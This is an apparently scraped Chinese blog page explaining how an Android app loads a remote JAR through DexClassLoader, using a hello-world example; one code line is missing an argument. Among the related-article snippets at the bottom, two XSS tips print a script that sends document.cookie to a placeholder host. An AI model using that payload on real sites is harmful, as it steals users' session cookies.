android 加载远程Jar、APK
参考链接:
、http://blog.csdn.net/bboyfeiyu/article/details/11710497
2\ http://www.cnblogs.com/LittleRedPoint/p/3429709.html
第一步:编写接口
package com.lpl;
public interface ILoader {
public String sayHelloWorld();
}
第二步:实现接口
package com.lpl;
public class Remote implements ILoader{
@Override
public String sayHelloWorld() {
return "sayHelloWorld i am a jar";
}
}
第三步:打包jar
使用Eclipse的Export功能,导出指定的包或者java文件
第四步:使用dx命令处理jar文件
dx --dex --output=G:\remote_dex.jar G:\remote.jar 注意:dx命令可能在platform-tools中,也可能在build-tools中的子目录中
第五步:将dex拷贝到android项目的包目录下面
、直接放入sdcard可能会报异常,原因是android系统对sdcard的读写权限做了限制
2、需要在androidManifest中添加读写权限
3、jar需要放入到android/data/com.***目录下
第六步:
File file = new File(Environment.getExternalStorageDirectory().toString()+File.separator+"android/data/com.example.test/remote_dex.jar");
Class lib = null; try {
// BaseDexClassLoader cl = new BaseDexClassLoader(Environment.getExternalStorageDirectory().toString(), file, file.getAbsolutePath(), getClassLoader());
DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), file.getPath() , null, getClassLoader());
lib = cl.loadClass("com.lpl.Remote"); ILoader loader = (ILoader)lib.newInstance();
Toast.makeText(getApplicationContext(), ""+loader.sayHelloWorld(), ).show();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} // 这里要注意,APk中也要有接口文件,远程的jar只是对接口文件的实现
补充:
远程加载jar、apk有两个目的1、为了类;2、为了资源;类只要拿到jar、apk通过反射就可以拿到,资源必须拿到context
http://www.cnblogs.com/weiwelcome0/p/3583870.html
android 加载远程Jar、APK的更多相关文章
- 8. Android加载流程(打包与启动)
移动安全的学习离不开对Android加载流程的分析,包括Android虚拟机,Android打包,启动流程等... 这篇文章 就对Android的一些基本加载进行学习. Android虚拟机 And ...
- Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】
Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...
- 漂亮的Android加载中动画:AVLoadingIndicatorView
AVLoadingIndicatorView 包含一组漂亮的Android加载中动画. IOS版本:here. 示例 Download Apk 用法 步骤1 Add dependencies in b ...
- Android加载网络图片报android.os.NetworkOnMainThreadException异常
Android加载网络图片大致可以分为两种,低版本的和高版本的.低版本比如4.0一下或者更低版本的API直接利用Http就能实现了: 1.main.xml <?xml version=" ...
- jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据
jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...
- iOS Cordova 加载远程界面
老大说,我们的项目要hybrid,要实现1.html能调用native:2.本地html调用本地html界面:3.能加载远程界面..... 因为我的项目是已有的(以下简称 项目),所以是要在已有的项目 ...
- android加载大量图片内存溢出的三种方法
android加载大量图片内存溢出的三种解决办法 方法一: 在从网络或本地加载图片的时候,只加载缩略图. /** * 按照路径加载图片 * @param path 图片资源的存放路径 * @para ...
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- xss 加载远程第三方JS
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...
随机推荐
- <script type="text/x-template"> 模板
获取动态的js模板可以用art-template插件 <script type="text/template"> 给<script>设置type=" ...
- JSONObject基本内容(二)
参考内容:http://swiftlet.net/archives/category/json 十分感谢!!! 这部分的内容主要是讲述 javaBean转换为JSONObect时,如果有些属性不需要 ...
- loj#2012. 「SCOI2016」背单词
题目链接 loj#2012. 「SCOI2016」背单词 题解 题面描述有点不清楚. 考虑贪心 type1的花费一定不会是优的,不考虑, 所以先把后缀填进去,对于反串建trie树, 先填父亲再填儿子, ...
- Codeforces.542E.Playing on Graph(二分图)
题目链接 \(Description\) 给出一个n个点m条边的无向图. 你每次需要选择两个没有边相连的点,将它们合并为一个新点,直到这张图变成了一条链. 最大化这条链的长度,或输出无解. n< ...
- 安卓开发-Activity中finish() onDestroy() 和System.exit()的区别(转)
Activity.finish()Call this when your activity is done and should be closed. 在你的activity动作完成的时候,或者Act ...
- BZOJ1395 : [Baltic2005]Trip
建立新图,原图中每条边在新图中是点,新图中每个点的点权为$-e[i].c+e[i].b$,边权为$0$. 若$e[i].d\leq e[j].a$,则连一条$i$到$j$的单向边. 对于原图中每个点, ...
- [原创]Network Emulator for Windows Toolkit使用介绍
[原创]Network Emulator for Windows Toolkit使用介绍 1 Network Emulator for Windows Toolkit简介 微软在window系统下,可 ...
- uboot的常用命令及用法
转自:https://blog.csdn.net/jklinux/article/details/72638830 https://blog.csdn.net/dagefeijiqumeiguo/ar ...
- I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2
问题: 安装TensorFlow(CPU版本),使用pip install tensorflow安装,安装一切顺利,但是在跑一个简单的程序时,遇到如下情况: 大概意思是:你的CPU支持AVX扩展,但是 ...
- C++11 多线程编程 使用lambda创建std::thread (生产/消费者模式)
要写个tcp server / client的博客,想着先写个c++11多线程程序.方便后面写博客使用. 目前c++11中写多线程已经很方便了,不用再像之前的pthread_create,c++11中 ...